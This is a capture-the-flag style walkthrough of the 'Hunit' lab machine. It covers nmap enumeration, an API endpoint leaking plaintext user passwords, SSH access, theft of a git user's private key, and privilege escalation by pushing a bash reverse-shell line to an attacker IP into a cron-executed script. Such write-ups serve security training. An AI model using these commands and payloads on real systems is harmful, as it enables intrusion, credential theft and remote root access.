Exploitation Guide for Hunit
Summary
In this scenario, we’ll enumerate a web application and discover an API endpoint that leaks user information. This helps us obtain SSH access as a low-privileged user. We’ll then find and extract a private SSH key for the git user, gaining privileges to push arbitrary updates to the master branch of a local repository. To escalate our privileges, we will clone the repository to our attack machine and inject a malicious payload using the git account.
Enumeration
Nmap
We’ll begin with an nmap scan against all TCP ports.
kali@kali:~$ sudo nmap -p- 192.168.120.204
...
Nmap scan report for 192.168.120.204
PORT STATE SERVICE
8080/tcp open http-proxy
12445/tcp open unknown
18030/tcp open unknown
43022/tcp open unknown
Next, we’ll run a more detailed “version” scan against the open ports.
kali@kali:~$ sudo nmap -sC -sV -p 8080,12445,18030,43022 192.168.120.204
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-09 16:39 -03
Nmap scan report for 192.168.120.204
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
8080/tcp open http-proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Content-Length: 3755
| Date: Mon, 09 Nov 2020 19:39:31 GMT
| Connection: close
| <!DOCTYPE HTML>
| <!--
| Minimaxing by HTML5 UP
| html5up.net | @ajlkn
| Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
| <html>
| <head>
| <title>My Haikus</title>
| <meta charset="utf-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
| <link rel="stylesheet" href="/css/main.css" />
| </head>
| <body>
| <div id="page-wrapper">
| <!-- Header -->
| <div id="header-wrapper">
| <div class="container">
| <div class="row">
| <div class="col-12">
| <header id="header">
| <h1><a href="/" id="logo">My Haikus</a></h1>
| </header>
| </div>
| </div>
| </div>
| </div>
| <div id="main">
| <div clas
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Mon, 09 Nov 2020 19:39:31 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 505
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 465
| Date: Mon, 09 Nov 2020 19:39:31 GMT
| <!doctype html><html lang="en"><head><title>HTTP Status 505
| HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505
|_ HTTP Version Not Supported</h1></body></html>
|_http-title: My Haikus
12445/tcp open netbios-ssn Samba smbd 4.6.2
18030/tcp open http Apache httpd 2.4.46 ((Unix))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Unix)
|_http-title: Whack A Mole!
43022/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 3072 7b:fc:37:b4:da:6e:c5:8e:a9:8b:b7:80:f5:cd:09:cb (RSA)
| 256 89:cd:ea:47:25:d9:8f:f8:94:c3:d6:5c:d4:05:ba:d0 (ECDSA)
|_ 256 c0:7c:6f:47:7e:94:cc:8b:f8:3d:a0:a6:1f:a9:27:11 (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
This reveals a web server on port 8080, a Samba share on port 12445, an Apache web server on port 18030, and SSH on port 43022. In this case we’ll focus on the web server on port 8080 and the SSH service.
CURL
Let’s start by enumerating the website on port 8080. The default page (http://192.168.120.204:8080/) contains several links, the first of which points to /article/the-taste-of-rain.
kali@kali:~$ curl http://192.168.120.204:8080/
...
<section>
<header class="article-header">
<h2 class="article-title"><a href="/article/the-taste-of-rain">The Taste of Rain</a></h2>
<div class="article-meta">By <strong>James</strong>, on <strong>2021-01-14 14th 2021</strong></div>
</header>
<div class="article-headline">
Jack Kerouac
</div>
</section>
...
Let’s follow that link.
kali@kali:~$ curl http://192.168.120.204:8080/article/the-taste-of-rain
...
<section class="article">
<header class="article-header">
<h1 class="article-title">The Taste of Rain</h1>
<p class="article-meta">By <strong>James</strong>, on <strong>2020-11-09 9th 2020</strong></p>
</header>
<div class="article-description">
<div>Jack Kerouac</div>
<p>The taste, Of rain, —Why kneel?</p>
</div>
</section>
<!--
<a href="http://localhost:8080/api/">List all</a>
-->
...
A comment on the page suggests the presence of an API located in the /api/ directory.
Exploitation
Credential Leak
After a brief exploration of the API, we discover an information leak.
kali@kali:~$ curl http://192.168.120.204:8080/api/
[{"string":"/api/","id":13},{"string":"/article/","id":14},{"string":"/article/?","id":15},{"string":"/user/","id":16},{"string":"/user/?","id":17}]
The /user/ endpoint is certainly worth inspection.
kali@kali:~$ curl http://192.168.120.204:8080/api/user/
[{"login":"rjackson","password":"yYJcgYqszv4aGQ","firstname":"Richard","lastname":"Jackson","description":"Editor","id":1},
{"login":"jsanchez","password":"d52cQ1BzyNQycg","firstname":"Jennifer","lastname":"Sanchez","description":"Editor","id":3},
{"login":"dademola","password":"ExplainSlowQuest110","firstname":"Derik","lastname":"Ademola","description":"Admin","id":6},
{"login":"jwinters","password":"KTuGcSW6Zxwd0Q","firstname":"Julie","lastname":"Winters","description":"Editor","id":7},
{"login":"jvargas","password":"OuQ96hcgiM5o9w","firstname":"James","lastname":"Vargas","description":"Editor","id":10}]%
This endpoint leaks several username-password pairs.
SSH
Let’s try to leverage these credentials against the SSH service running on port 43022 in an attempt to gain an initial foothold.
kali@kali:~$ ssh -p 43022 dademola@192.168.120.204
...
dademola@192.168.120.204's password:
[dademola@hunit ~]$ id
uid=1001(dademola) gid=1001(dademola) groups=1001(dademola)
[dademola@hunit ~]$
The dademola:ExplainSlowQuest110 credentials grant us access. We have our foothold!
Escalation
Crontab Backup File Enumeration
After some initial enumeration, we discover a crontab backup in the /etc folder.
[dademola@hunit ~]$ ls -l /etc
total 780
...
drwxr-xr-x 2 root root 4096 Nov 6 18:09 conf.d
drwxr-xr-x 2 root root 4096 Nov 5 23:46 cron.d
drwxr-xr-x 2 root root 4096 Oct 31 2019 cron.daily
-rw-r--r-- 1 root root 74 Oct 31 2019 cron.deny
drwxr-xr-x 2 root root 4096 Nov 5 23:46 cron.hourly
drwxr-xr-x 2 root root 4096 Oct 31 2019 cron.monthly
drwxr-xr-x 2 root root 4096 Oct 31 2019 cron.weekly
-rw-r--r-- 1 root root 67 Nov 10 15:31 crontab.bak
...
The contents of the /etc/crontab.bak file are certainly interesting:
[dademola@hunit ~]$ cat /etc/crontab.bak
*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh
[dademola@hunit ~]$
This file lists two jobs that are run from the /root directory. This is obviously a potential vulnerability which requires further examination.
Git Server Enumeration
As is typical, any attempt to access /root as this user generates a “permission denied” error. However, we do discover that git-server exists in /.
[dademola@hunit ~]$ find / -type d -name git-server -print 2>/dev/null
/git-server
[dademola@hunit ~]$
[dademola@hunit ~]$ ls -l /git-server/
total 32
-rw-r--r-- 1 git git 23 Nov 5 22:33 HEAD
drwxr-xr-x 2 git git 4096 Nov 5 22:33 branches
-rw-r--r-- 1 git git 66 Nov 5 22:33 config
-rw-r--r-- 1 git git 73 Nov 5 22:33 description
drwxr-xr-x 2 git git 4096 Nov 5 22:33 hooks
drwxr-xr-x 2 git git 4096 Nov 5 22:33 info
drwxr-xr-x 16 git git 4096 Nov 6 00:06 objects
drwxr-xr-x 4 git git 4096 Nov 5 22:33 refs
Inspecting these files, we discover that they are git backend files, which are somewhat difficult to work with. Let’s instead attempt to clone /git-server to determine what’s inside.
[dademola@hunit ~]$ git clone file:///git-server/
Cloning into 'git-server'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.
This works. Let’s inspect the directory contents.
[dademola@hunit ~]$ ls -la git-server
total 20
drwxr-xr-x 3 dademola dademola 4096 Nov 10 15:40 .
drwx------ 7 dademola dademola 4096 Nov 10 15:53 ..
drwxr-xr-x 8 dademola dademola 4096 Nov 10 15:54 .git
-rw-r--r-- 1 dademola dademola 0 Nov 10 15:40 NEW_CHANGE
-rw-r--r-- 1 dademola dademola 63 Nov 10 15:40 README
-rw-r--r-- 1 dademola dademola 60 Nov 10 15:52 backups.sh
Next, we’ll attempt to grab the repository’s log.
[dademola@hunit ~]$ cd git-server
[dademola@hunit git-server]$ git log
commit b50f4e5415cae0b650836b5466cc47c62faf7341 (HEAD -> master, origin/master, origin/HEAD)
Author: Dademola <dade@local.host>
Date: Thu Nov 5 21:05:58 2020 -0300
testing
commit c71132590f969b535b315089f83f39e48d0021e2
Author: Dademola <dade@local.host>
Date: Thu Nov 5 20:59:48 2020 -0300
testing
...
There’s not much here. Let’s review the contents of the backups.sh script.
[dademola@hunit git-server]$ cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#
This is simply a placeholder. Based on out knowledge of git, we can deduce that the /root/pull.sh script (which was referenced in the crontab backup file) pulls the changes done to the repository’s master branch. To test this theory, we’ll try to inject some code into the backups.sh script and then push the changes. First, we’ll set up our Git identity.
[dademola@hunit git-server]$ git config --global user.name "dademola"
[dademola@hunit git-server]$ git config --global user.email "dademola@hunit.(none)"
Next, we’ll inject a test instruction.
[dademola@hunit git-server]$ echo "touch /tmp/gitscript-test" >> backups.sh
Before adding and committing the updated script, we’ll make it executable.
[dademola@hunit git-server]$ chmod +x backups.sh
Finally, we’ll add and commit our changes and attempt to push them to the master branch.
[dademola@hunit git-server]$ git add -A
[dademola@hunit git-server]$ git commit -m "pwn"
[master 159de6f] pwn
1 file changed, 1 insertion(+)
[dademola@hunit git-server]$ git push origin master
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 290 bytes | 290.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
error: remote unpack failed: unable to create temporary object directory
To file:///git-server/
! [remote rejected] master -> master (unpacker error)
error: failed to push some refs to 'file:///git-server/'
Unfortunately, we are not allowed to make changes to this repository. Further inspection reveals that the contents of the /git-server are owned by the git user.
dademola@hunit git-server]$ ls -la /git-server
total 40
drwxr-xr-x 7 git git 4096 Nov 6 00:06 .
drwxr-xr-x 18 root root 4096 Nov 10 15:29 ..
-rw-r--r-- 1 git git 23 Nov 5 22:33 HEAD
drwxr-xr-x 2 git git 4096 Nov 5 22:33 branches
-rw-r--r-- 1 git git 66 Nov 5 22:33 config
-rw-r--r-- 1 git git 73 Nov 5 22:33 description
drwxr-xr-x 2 git git 4096 Nov 5 22:33 hooks
drwxr-xr-x 2 git git 4096 Nov 5 22:33 info
drwxr-xr-x 16 git git 4096 Nov 6 00:06 objects
drwxr-xr-x 4 git git 4096 Nov 5 22:33 refs
Git User SSH
According to /etc/passwd, the git user exists and uses /usr/bin/git-shell as the default shell.
[dademola@hunit git-server]$ grep git /etc/passwd
git:x:1005:1005::/home/git:/usr/bin/git-shell
As referenced in the password file, /home/git exists.
[dademola@hunit git-server]$ ls -l /home
total 8
drwx------ 7 dademola dademola 4096 Jan 14 18:28 dademola
drwxr-xr-x 4 git git 4096 Nov 5 22:35 git
This folder contains a .ssh folder.
[dademola@hunit ~]$ ls -la /home/git
total 28
drwxr-xr-x 4 git git 4096 Nov 5 22:35 .
drwxr-xr-x 4 root root 4096 Nov 5 22:28 ..
-rw------- 1 git git 0 Nov 6 00:26 .bash_history
-rw-r--r-- 1 git git 21 Aug 9 16:27 .bash_logout
-rw-r--r-- 1 git git 57 Aug 9 16:27 .bash_profile
-rw-r--r-- 1 git git 141 Aug 9 16:27 .bashrc
drwxr-xr-x 2 git git 4096 Nov 5 22:31 .ssh
drwxr-xr-x 2 git git 4096 Nov 5 22:35 git-shell-commands
Within this folder, we discover an id_rsa private key file.
[dademola@hunit git-server]$ ls -l /home/git/.ssh
total 12
-rwxr-xr-x 1 root root 564 Nov 5 22:31 authorized_keys
-rwxr-xr-x 1 root root 2590 Nov 5 22:31 id_rsa
-rwxr-xr-x 1 root root 564 Nov 5 22:31 id_rsa.pub
Interestingly, the authorized_keys and id_rsa.pub files are the same size, and the contents appear identical:
[dademola@hunit ~]$ cat /home/git/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2+L7/MgU/MJ+fYIEXEa1+WA9/qMvFj1kUTBk0dtCODfandxZvNAbBFY1JWUFjOPqxc+NxZNFzunTxYdv3/zkvT9/3iV9dQgH2m2Kkv0QfFJQPEaug/rQf2MlOPQq563LUb7FLK2L75COLqHGa5GtDh7lDqUGfzj8JcCdEfoYtgVHLAkRdC0scLC2WFUSo/sdkBYu0MWdZBXt4wX1EI0FVJYFt5AhNtkNJty2Dk/QffmKg+7rs/KCj1J9JFekE9UEjXd94EgjZXeIv4FDLqx4KPu0eP2k1hkVaOugpUIFmSgt8uxMdGRcMotEgK9wfDXI5ZR/iwU2deRyUcLGwRTp0kP2TuHCcrUSz5CCVdBJLQk6Y/BN+lGStfV3bsrfWuhA/9gZVtkkSLey0CZpneJDVxAzLY1DoRKi6k11B5UXLQThymn80PJrOH++3aKtzp9Q36N0W8JZlsg7qmaX4dY5TdTcDEVNJeZuuMwdqECvEyr8m1TAlq7LDT0Uq3JwQ7fM= root@hunit
[dademola@hunit ~]$
[dademola@hunit ~]$ cat /home/git/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2+L7/MgU/MJ+fYIEXEa1+WA9/qMvFj1kUTBk0dtCODfandxZvNAbBFY1JWUFjOPqxc+NxZNFzunTxYdv3/zkvT9/3iV9dQgH2m2Kkv0QfFJQPEaug/rQf2MlOPQq563LUb7FLK2L75COLqHGa5GtDh7lDqUGfzj8JcCdEfoYtgVHLAkRdC0scLC2WFUSo/sdkBYu0MWdZBXt4wX1EI0FVJYFt5AhNtkNJty2Dk/QffmKg+7rs/KCj1J9JFekE9UEjXd94EgjZXeIv4FDLqx4KPu0eP2k1hkVaOugpUIFmSgt8uxMdGRcMotEgK9wfDXI5ZR/iwU2deRyUcLGwRTp0kP2TuHCcrUSz5CCVdBJLQk6Y/BN+lGStfV3bsrfWuhA/9gZVtkkSLey0CZpneJDVxAzLY1DoRKi6k11B5UXLQThymn80PJrOH++3aKtzp9Q36N0W8JZlsg7qmaX4dY5TdTcDEVNJeZuuMwdqECvEyr8m1TAlq7LDT0Uq3JwQ7fM= root@hunit
[dademola@hunit ~]$
A diff reveals that the files are, in fact, identical.
[dademola@hunit ~]$ diff /home/git/.ssh/authorized_keys /home/git/.ssh/id_rsa.pub
[dademola@hunit ~]$
Since the id_rsa.pub public key is in the authorized_keys file, we should be able to use the private key to log in via SSH. Let’s copy this private key to our attack machine and apply the proper permissions.
kali@kali:~$ scp -P 43022 dademola@192.168.120.204:/home/git/.ssh/id_rsa .
dademola@192.168.120.204's password:
id_rsa 100% 2590 19.2KB/s 00:00
kali@kali:~$
kali@kali:~$ chmod 0600 id_rsa
Next, we’ll attempt to use this private key to log in as the git user.
kali@kali:~$ ssh -p 43022 git@192.168.120.204 -i id_rsa
git>
The key works, and our login attempt is successful!
Reverse Shell
Since this is a git-shell, we should be able to interact with the repository. Let’s clone this repo on our attack machine.
kali@kali:~$ GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.120.204:/git-server
Cloning into 'git-server'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.
Now we can again attempt to push our changes to the master branch. As before, we’ll first configure our Git identity.
kali@kali:~$ cd git-server
kali@kali:~/git-server$ git config --global user.name "kali"
kali@kali:~/git-server$ git config --global user.email "kali@kali.(none)"
Next, we’ll inject a reverse shell payload into the backups.sh script and make it executable.
kali@kali:~/git-server$ echo "sh -i >& /dev/tcp/192.168.118.8/8080 0>&1" >> backups.sh
kali@kali:~/git-server$ chmod +x backups.sh
Let’s add and commit our changes.
kali@kali:~/git-server$ git add -A
kali@kali:~/git-server$ git commit -m "pwn"
[master cb7104c] pwn
1 file changed, 1 insertion(+)
mode change 100644 => 100755 backups.sh
Before pushing our payload, we’ll set up a Netcat listener on port 8080.
kali@kali:~$ nc -lvnp 8080
listening on [any] 8080 ...
Once our listener is ready, we’ll attempt to push to the master branch.
kali@kali:~/git-server$ GIT_SSH_COMMAND='ssh -i ~/id_rsa -p 43022' git push origin master
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 302 bytes | 302.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To 192.168.120.204:/git-server
b50f4e5..0212790 master -> master
kali@kali:~/git-server$
The crontab backup file indicates that the pull.sh script runs every two minutes, and the backups.sh script runs every three minutes. Because of this, it may take up to five minutes to determine if our attack was successful.
Once our changes are synchronized, and our payload is executed inside the backups.sh script, we should receive our root user shell.
kali@kali:~$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.118.8] from (UNKNOWN) [192.168.120.204] 51816
...
sh-5.0# whoami
root